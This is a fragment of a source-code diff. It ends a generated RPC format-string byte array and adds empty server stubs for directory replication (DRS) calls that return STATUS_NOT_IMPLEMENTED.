0x00, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x09, 0x00, + 0xfc, 0xff, 0x01, 0x00, 0x02, 0x5b, 0x1a, 0x03, 0x04, 0x00, 0xf0, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xe0, 0xff, 0x5c, 0x5b, 0x11, 0x14, 0xd6, 0xff, 0x11, 0x04, 0x02, 0x00, 0x30, 0xa0, 0x00, 0x00, + 0x11, 0x04, 0x02, 0x00, 0x30, 0xe1, 0x00, 0x00, 0x30, 0x41, 0x00, 0x00, 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x00, 0x04, 0x00, 0x01, 0x00, 0x02, 0x00, 0x70, 0x00, 0x01, 0x00, 0x08, 0x00, + 0x00, 0x00, 0x64, 0x00, 0xff, 0xff, 0x15, 0x07, 0x08, 0x00, 0x0b, 0x5b, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x15, 0x07, 0x18, 0x00, 0x4c, 0x00, 0xec, 0xfb, 0x0b, 0x5b, + 0x1b, 0x07, 0x18, 0x00, 0x09, 0x00, 0xf8, 0xff, 0x01, 0x00, 0x4c, 0x00, 0xea, 0xff, 0x5c, 0x5b, 0x1a, 0x07, 0x10, 0x00, 0xec, 0xff, 0x00, 0x00, 0x08, 0x08, 0x4c, 0x00, 0xd0, 0xff, 0x08, 0x5b, + 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x1b, 0x03, 0x04, 0x00, 0x09, 0x00, 0xfc, 0xff, 0x01, 0x00, 0x08, 0x5b, 0x1a, 0x03, 0x0c, 0x00, 0xf0, 0xff, 0x00, 0x00, 0x08, 0x08, + 0x4c, 0x00, 0xde, 0xff, 0x5c, 0x5b, 0x1a, 0x07, 0x70, 0x00, 0x00, 0x00, 0x22, 0x00, 0x4c, 0x00, 0x98, 0xfb, 0x4c, 0x00, 0x94, 0xfb, 0x36, 0x40, 0x4c, 0x00, 0x9a, 0xfb, 0x36, 0x08, 0x08, 0x08, + 0x08, 0x40, 0x4c, 0x00, 0x82, 0xff, 0x36, 0x36, 0x4c, 0x00, 0xe8, 0xfb, 0x5c, 0x5b, 0x11, 0x00, 0x1a, 0xfc, 0x12, 0x00, 0x9c, 0xff, 0x12, 0x00, 0xbe, 0xff, 0x12, 0x00, 0xba, 0xff, 0x11, 0x0c, + 0x08, 0x5c, 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x54, 0x0c, 0x00, 0x01, 0x00, 0x02, 0x00, 0x90, 0x00, 0x01, 0x00, 0x06, 0x00, 0x00, 0x00, 0x6a, 0xfd, 0xff, 0xff, 0x11, 0x00, 0x02, 0x00, + 0x2b, 0x09, 0x29, 0x00, 0x04, 0x00, 0x01, 0x00, 0x02, 0x00, 0x1c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0xff, 0xff, 0x16, 0x03, 0x1c, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, + 0x00, 0x00, 0x11, 0x00, 0xc6, 0xfb, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x11, 0x08, 0x22, 0x5c, 0x5b, 0x08, 0x08, 0x4c, 0x00, 0x13, 0xfb, 0x08, 0x5c, 0x5b, 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, + 0x29, 0x00, 0x04, 0x00, 0x01, 0x00, 0x02, 0x00, 0x1c, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x2e, 0x00, 0xff, 0xff, 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0x1b, 0x03, + 0x04, 0x00, 0x19, 0x00, 0x14, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x5c, 0x5b, 0x1a, 0x03, + 0x1c, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x4c, 0x00, 0xc7, 0xff, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xca, 0xff, 0x11, 0x04, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x54, 0x0c, 0x00, + 0x01, 0x00, 0x02, 0x00, 0x04, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x52, 0xfd, 0xff, 0xff, 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x00, 0x04, 0x00, 0x01, 0x00, 0x02, 0x00, 0x08, 0x00, + 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0xff, 0xff, 0x16, 0x03, 0x08, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x08, 0x5b, 0x11, 0x04, + 0x02, 0x00, 0x2b, 0x09, 0x29, 0x54, 0x0c, 0x00, 0x01, 0x00, 0x02, 0x00, 0x08, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0xe2, 0xfd, 0xff, 0xff, 0x00 }}; -#endif \ No newline at end of file +#endif + +void SRV_OpnumNotImplemented(handle_t IDL_handle) +{ +} + +ULONG SRV_IDL_DRSCrackNamesNotImplemented(DRS_HANDLE hDrs, DWORD dwInVersion, DRS_MSG_CRACKREQ *pmsgIn, DWORD *pdwOutVersion, DRS_MSG_CRACKREPLY *pmsgOut) +{ + return STATUS_NOT_IMPLEMENTED; +} + +ULONG SRV_IDL_DRSDomainControllerInfoNotImplemented(DRS_HANDLE hDrs, DWORD dwInVersion, DRS_MSG_DCINFOREQ *pmsgIn, DWORD *pdwOutVersion, DRS_MSG_DCINFOREPLY *pmsgOut) +{ + return STATUS_NOT_IMPLEMENTED; +} \ No newline at end of file